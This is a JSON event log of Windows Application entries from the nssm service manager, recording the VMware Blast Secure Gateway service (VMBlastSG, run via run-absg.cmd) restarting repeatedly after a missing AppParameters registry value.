{"@timestamp":1646771152591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163019}}
{"@timestamp":1646771152592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159616","0"]}}},"module":"Application","provider":"nssm","sequence":163020}}
{"@timestamp":1646771152592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159616","159616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163021}}
{"@timestamp":1646771152610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163022}}
{"@timestamp":1646771152611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163023}}
{"@timestamp":1646771152611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163024}}
{"@timestamp":1646771152612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163025}}
{"@timestamp":1646771281159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163026}}
{"@timestamp":1646771281163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163027}}
{"@timestamp":1646771281163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160336","0"]}}},"module":"Application","provider":"nssm","sequence":163028}}
{"@timestamp":1646771281164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160336","160336","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163029}}
{"@timestamp":1646771281182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163030}}
{"@timestamp":1646771281183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163031}}
{"@timestamp":1646771281183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163032}}
{"@timestamp":1646771281184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163033}}
{"@timestamp":1646771410201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163034}}
{"@timestamp":1646771410202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163035}}
{"@timestamp":1646771410203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160272","0"]}}},"module":"Application","provider":"nssm","sequence":163036}}
{"@timestamp":1646771410203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160272","160272","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163037}}
{"@timestamp":1646771410224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160176","0"]}}},"module":"Application","provider":"nssm","sequence":163038}}
{"@timestamp":1646771410225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160176","160272","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163039}}
{"@timestamp":1646771410241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163040}}
{"@timestamp":1646771410242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163041}}
{"@timestamp":1646771410242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163042}}
{"@timestamp":1646771410243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163043}}
{"@timestamp":1646771538934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163044}}
{"@timestamp":1646771538935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163045}}
{"@timestamp":1646771538935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155840","0"]}}},"module":"Application","provider":"nssm","sequence":163046}}
{"@timestamp":1646771538936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155840","155840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163047}}
{"@timestamp":1646771538955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163048}}
{"@timestamp":1646771538955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163049}}
{"@timestamp":1646771538956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163050}}
{"@timestamp":1646771538957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163051}}
{"@timestamp":1646771667454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163052}}
{"@timestamp":1646771667454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163053}}
{"@timestamp":1646771667455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160096","0"]}}},"module":"Application","provider":"nssm","sequence":163054}}
{"@timestamp":1646771667455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160096","160096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163055}}
{"@timestamp":1646771667474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163056}}
{"@timestamp":1646771667475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163057}}
{"@timestamp":1646771667475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163058}}
{"@timestamp":1646771667476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163059}}
{"@timestamp":1646771796069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163060}}
{"@timestamp":1646771796074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163061}}
{"@timestamp":1646771796075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160268","0"]}}},"module":"Application","provider":"nssm","sequence":163062}}
{"@timestamp":1646771796076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160268","160268","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163063}}
{"@timestamp":1646771796095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163064}}
{"@timestamp":1646771796096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163065}}
{"@timestamp":1646771796097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163066}}
{"@timestamp":1646771796098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163067}}
{"@timestamp":1646771924703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163068}}
{"@timestamp":1646771924705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163069}}
{"@timestamp":1646771924705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159804","0"]}}},"module":"Application","provider":"nssm","sequence":163070}}
{"@timestamp":1646771924706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159804","159804","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163071}}
{"@timestamp":1646771924724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159396","0"]}}},"module":"Application","provider":"nssm","sequence":163072}}
{"@timestamp":1646771924725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159396","159804","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163073}}
{"@timestamp":1646771924743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163074}}
{"@timestamp":1646771924743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163075}}
{"@timestamp":1646771924743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163076}}
{"@timestamp":1646771924744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163077}}
{"@timestamp":1646772053369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163078}}
{"@timestamp":1646772053372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163079}}
{"@timestamp":1646772053372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160740","0"]}}},"module":"Application","provider":"nssm","sequence":163080}}
{"@timestamp":1646772053373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160740","160740","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163081}}
{"@timestamp":1646772053389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163082}}
{"@timestamp":1646772053390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163083}}
{"@timestamp":1646772053390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163084}}
{"@timestamp":1646772053391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163085}}
{"@timestamp":1646772181876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163086}}
{"@timestamp":1646772181878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163087}}
{"@timestamp":1646772181878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159176","0"]}}},"module":"Application","provider":"nssm","sequence":163088}}
{"@timestamp":1646772181879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159176","159176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163089}}
{"@timestamp":1646772181895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163090}}
{"@timestamp":1646772181896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163091}}
{"@timestamp":1646772181896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163092}}
{"@timestamp":1646772181897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163093}}
{"@timestamp":1646772310397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163094}}
{"@timestamp":1646772310398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163095}}
{"@timestamp":1646772310398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157644","0"]}}},"module":"Application","provider":"nssm","sequence":163096}}
{"@timestamp":1646772310400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157644","157644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163097}}
{"@timestamp":1646772310418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163098}}
{"@timestamp":1646772310418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163099}}
{"@timestamp":1646772310419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163100}}
{"@timestamp":1646772310420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163101}}
{"@timestamp":1646772439108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163102}}
{"@timestamp":1646772439109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163103}}
{"@timestamp":1646772439109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160036","0"]}}},"module":"Application","provider":"nssm","sequence":163104}}
{"@timestamp":1646772439110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160036","160036","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163105}}
{"@timestamp":1646772439127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163106}}
{"@timestamp":1646772439128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163107}}
{"@timestamp":1646772439128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163108}}
{"@timestamp":1646772439129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163109}}
{"@timestamp":1646772567635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163110}}
{"@timestamp":1646772567636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163111}}
{"@timestamp":1646772567637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160680","0"]}}},"module":"Application","provider":"nssm","sequence":163112}}
{"@timestamp":1646772567637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160680","160680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163113}}
{"@timestamp":1646772567654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163114}}
{"@timestamp":1646772567654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163115}}
{"@timestamp":1646772567655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163116}}
{"@timestamp":1646772567656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163117}}
{"@timestamp":1646772696145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163118}}
{"@timestamp":1646772696146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163119}}
{"@timestamp":1646772696146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160416","0"]}}},"module":"Application","provider":"nssm","sequence":163120}}
{"@timestamp":1646772696148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160416","160416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163121}}
{"@timestamp":1646772696165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163122}}
{"@timestamp":1646772696165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163123}}
{"@timestamp":1646772696166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163124}}
